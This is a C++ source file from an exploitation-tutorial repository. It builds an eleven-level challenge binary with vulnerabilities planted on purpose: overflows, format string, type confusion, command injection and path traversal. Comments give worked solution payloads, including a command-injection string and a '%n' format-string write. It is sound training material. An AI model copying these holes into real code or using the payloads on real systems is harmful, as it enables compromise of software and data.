forked from bkerler/exploit_me
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.cpp
463 lines (422 loc) · 11 KB
/
exploit.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
/*
Very vulnerable code, for exploitation tutorials
(c) B.Kerler 2018
MIT license
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
char passwds[][11]=
{
"hello",
"help",
"Velvet",
"mysecret",
"freedom",
"happyness",
"mypony",
"ropeme",
"Exploiter",
"Gimme",
"Fun"
};
/* LEVEL 11 */
int path_traversal(char *path)
{
char *buffer = (char*)malloc(sizeof(char)*(strlen("ls ") + strlen(path)));
strcpy(buffer, "ls ");
strcat(buffer, path);
setresuid(geteuid(), geteuid(), geteuid());
if (!(strncmp(path,"dir1/dir2",strlen("dir1/dir2"))==0) && !(strncmp(path,"./dir1/dir2",strlen("./dir1/dir2"))==0))
{
printf("Only directory ./dir1/dir2/ and subdirectories may be listed!\n");
exit(0);
}
system(buffer); //Let's run something other than man, shall we ?
if (!strncmp(path,"dir1/dir2/../..",strlen("dir1/dir2/../..")) || !strncmp(path,"./dir1/dir2/../..",strlen("./dir1/dir2/../..")))
{
printf("\nWell done, level 11 passed !\n");
}
free(buffer);
return 0;
}
/* End of LEVEL 11 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Fun dir1/dir2/../../
/* LEVEL 10 */
int cmd_inject(int argc, char *argv[])
{
char *buffer = (char*)malloc(sizeof(char)*(strlen("man ") + strlen(argv[2])));
strcpy(buffer, "man ");
strcat(buffer, argv[2]);
setresuid(geteuid(), geteuid(), geteuid());
system(buffer); //Let's run something other than man, shall we ?
if (strchr(buffer,';')!=NULL)
{
printf("\nLevel 11 Password: \"%s\"\n",passwds[10]);
}
free(buffer);
return 0;
}
/* End of LEVEL 10 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Gimme "aaa ; ls"
/* LEVEL 9 */
int nullify(unsigned int addr, int option)
{
int important=1;
int *ptr = &important;
*ptr=2;
unsigned int *addrptr=(unsigned int*)addr;
if (option==1)
{
*addrptr=0;
}
printf("Address: %08X, Important ptr: %08X, Important value: %d\n",addr,&important,important);
if (important==0)
{
printf("Level 10 Password: \"%s\"\n",passwds[9]);
}
return 0;
}
/* End of LEVEL 9 */
// Solution : qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Exploiter 0xF6FFF314 1
// 0xF6FF314 is Important ptr
/* LEVEL 8 */
class Root {};
class Msg : public Root
{
public:
virtual void msg(const char *strng)
{
printf("Level 9 Password: \"%s\", welcome %s\n",passwds[8],strng);
}
};
class Run : public Root
{
public:
virtual void run(const char *cmd)
{
system(cmd);
}
};
int type_confusion(char* arg)
{
Root *b = new Msg();
Root *a = new Run();
Run *g;
g = static_cast<Run*>(a); //What happens if a is b instead ? :D
printf("Current b ptr: %p\n",b);
char tmp[64] = {'\0'};
int flag=0;
strcpy(tmp,arg);
g->run(tmp);
delete(a);
delete(b);
return 0;
}
/* End of LEVEL 8 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit ropeme `python -c "print('A'*76+'\x10\x8f\x02\x00')"`
// 0x028f10 is the pointer of b
/* LEVEL 7 */
int heap_overflow(char* text)
{
char buffer2[32] = "Change me!"; // Heap overflow may overwrite this text
char buffer[8] = {'\0'};
int i;
strcpy(buffer, text);
buffer[strlen(text)]='\0';
if (strcmp(buffer2, "password"))
{
printf("Buffer:%s\n",buffer);
printf("Buffer2:%s, isn't \"password\"\n",buffer2);
return 0;
}
printf("Level 8 Password: \"%s\"\n",passwds[7]);
return 1;
}
/* End of LEVEL 7 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit mypony `python -c "print('12345678password\x00')"`
/* LEVEL 6 */
int format_string(char* input)
{
char buffer[100];
int magic=42;
snprintf(buffer, sizeof(buffer),input);
buffer[sizeof(buffer)-1]=0;
printf("buffer (%d): %s\n",strlen(buffer),buffer);
printf("magic is %d/%#x (@ %p)\n",magic, magic, &magic);
if (magic == 1353) //Format string vulnerability might help changing the magic :)
{
printf("Level 7 Password: \"%s\"\n",passwds[6]);
}
return 0;
}
/* End of LEVEL 6 */
//Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit happyness `python -c "print ('\xb8\xf2\xff\xf6%08x%08x%08x%1325d%n')"`
//0xf6fff2b8 points to magic_value in stack, 1325 has to be adjusted to match 1353
/* LEVEL 5 */
unsigned int secret=0x1337;
int stack_cookie(char * arg)
{
unsigned int stack_cookie = secret;
char flag[1] ={0};
char tmp[64] = {'\0'};
strcpy(tmp,arg);
if (stack_cookie != secret)
{
printf("Error: Stack corrupted !");
exit(1);
}
printf("Running normally\n");
if (flag[0]==1) // Change the flag through buffer overflow, but mind the stack cookie !
{
printf("Level 6 Password: \"%s\"\n",passwds[5]);
}
return 1;
}
/* End of LEVEL 5 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit freedom `python -c "print('A'*64+'\x01\x00\x00\x00'*4+'\x37\x13\x00\x00')"`
/* LEVEL 4 */
void level5password()
{
printf("Level 5 Password: \"%s\"\n",passwds[4]);
}
int off_by_one(char * arg)
{
#pragma pack(push,1)
char flag[1]={1};
char buffer[256];
#pragma pack(pop)
if (strlen(arg)>256)
{
printf("Length higher 256 not allowed !\n");
exit(1);
}
strcpy(buffer,arg);
if (flag[0]==0)
{
level5password();
}
return 0;
}
/* End of LEVEL 4 */
// qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit mysecret `python -c "print('A'*0x100+'\x00')"`
/* LEVEL 3 */
void level4password()
{
printf("Level 4 Password: \"%s\"\n",passwds[3]);
return;
}
void array_overflow(int position, int value)
{
int array[32];
array[position]=value;
printf("filling array position %d with %d\n", position, value);
return;
}
/* End of LEVEL 3 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit Velvet 33 `python -c "print('%d' % 0x00011070)"`
// 0x00011070 points to start of level4password
/* LEVEL 2 */
void level3password()
{
printf("Level 3 Password: \"%s\"\n",passwds[2]);
return;
}
int stack_overflow(char* username, char* password)
{
char buffer[8] = {"\0"};
char admin_user[]="admin";
char admin_pass[]="funny";
int i;
strcpy(buffer, username);
buffer[strlen(admin_user)]='\0';
if (strcmp(buffer, admin_user))
{
printf("Login failed\n");
return 0;
}
strcpy(buffer, password);
buffer[strlen(admin_pass)]='\0';
if (strcmp(buffer, admin_pass))
{
printf("Login failed\n");
return 0;
}
printf("Login succeeded, but still you failed :P\n");
return 1;
}
/* End of LEVEL 2 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit help admin `python -c "print('aaaabbbbcccc\xe0\x10\x01\x00')"`
// 0x000110e0 points to start of level3password
/* LEVEL 1 */
int int_overflow(char* value)
{
unsigned short number;
int i = atoi(value);
unsigned int h=i;
if (h<=0)
{
printf("Value less or equal 0 is not allowed.\n");
exit(0);
}
number=i;
if (number!=0)
{
printf("Value %d defined.\n",number);
exit(0);
}
if (i<0 || number==0) // Two ways of overflow possible ... int AND short :)
{
printf("Level 2 Password: \"%s\"\n",passwds[1]);
}
return 0;
}
/* End of LEVEL 1 */
// Solution: qemu-arm-static -L /usr/arm-linux-gnueabi/ ./exploit hello 65536
// 65536 or any value higher 134217728
int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("usage: %s <level_password> <arg1> <arg2>\n", argv[0]);
printf("Level1 Password=\"hello\"\n");
exit(0);
}
int level=0;
if (argc>=2)
{
if (!strcmp(argv[1],passwds[0]))
{
if (argc < 3)
{
printf("usage: %s hello <value>\n", argv[0]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
int_overflow(argv[2]);
exit(0);
}
else
if (!strcmp(argv[1],passwds[1]))
{
if ((argc < 4))
{
printf("usage: %s %s <username> <password>\n", argv[0],passwds[1]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
stack_overflow(argv[2],argv[3]);
exit(0);
}
else
if (!strcmp(argv[1],passwds[2]))
{
if ((argc < 4))
{
printf("usage: %s %s <arraypos> <value>\n", argv[0],passwds[2]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
array_overflow(atoi(argv[2]), atoi(argv[3]));
exit(0);
}
else
if (!strcmp(argv[1],passwds[3]))
{
if ((argc < 3))
{
printf("usage: %s %s <magic>\n", argv[0],passwds[3]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
off_by_one(argv[2]);
exit(0);
}
else
if (!strcmp(argv[1],passwds[4]))
{
if ((argc < 3))
{
printf("usage: %s %s <magic>\n", argv[0],passwds[4]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
stack_cookie(argv[2]);
exit(0);
}
else
if (!strcmp(argv[1],passwds[5]))
{
if ((argc < 3))
{
printf("usage: %s %s <string>\n", argv[0],passwds[5]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
format_string(argv[2]);
exit(0);
}
else
if (!strcmp(argv[1],passwds[6]))
{
if ((argc < 3))
{
printf("usage: %s %s <text>\n", argv[0],passwds[6]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
heap_overflow(argv[2]);
exit(0);
}
else
if (!strcmp(argv[1],passwds[7]))
{
if ((argc < 3))
{
printf("usage: %s %s <cmd>\n", argv[0],passwds[7]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
type_confusion(argv[2]);
exit(0);
}
else
if (!strcmp(argv[1],passwds[8]))
{
if ((argc < 4))
{
printf("usage: %s %s <addr> <flag>\n", argv[0],passwds[8]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
nullify(strtoul(argv[2],0,16),atoi(argv[3]));
exit(0);
}
else
if (!strcmp(argv[1],passwds[9]))
{
if ((argc < 3) || (strlen(argv[2]) > 42 ))
{
printf("usage: %s %s <program>\n", argv[0],passwds[9]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
cmd_inject(argc,argv);
exit(0);
}
else
if (!strcmp(argv[1],passwds[10]))
{
if (argc < 3)
{
printf("usage: %s %s <path>\n", argv[0],passwds[10]);
exit(0);
}
setresuid(geteuid(),geteuid(),geteuid());
path_traversal(argv[2]);
exit(0);
}
}
}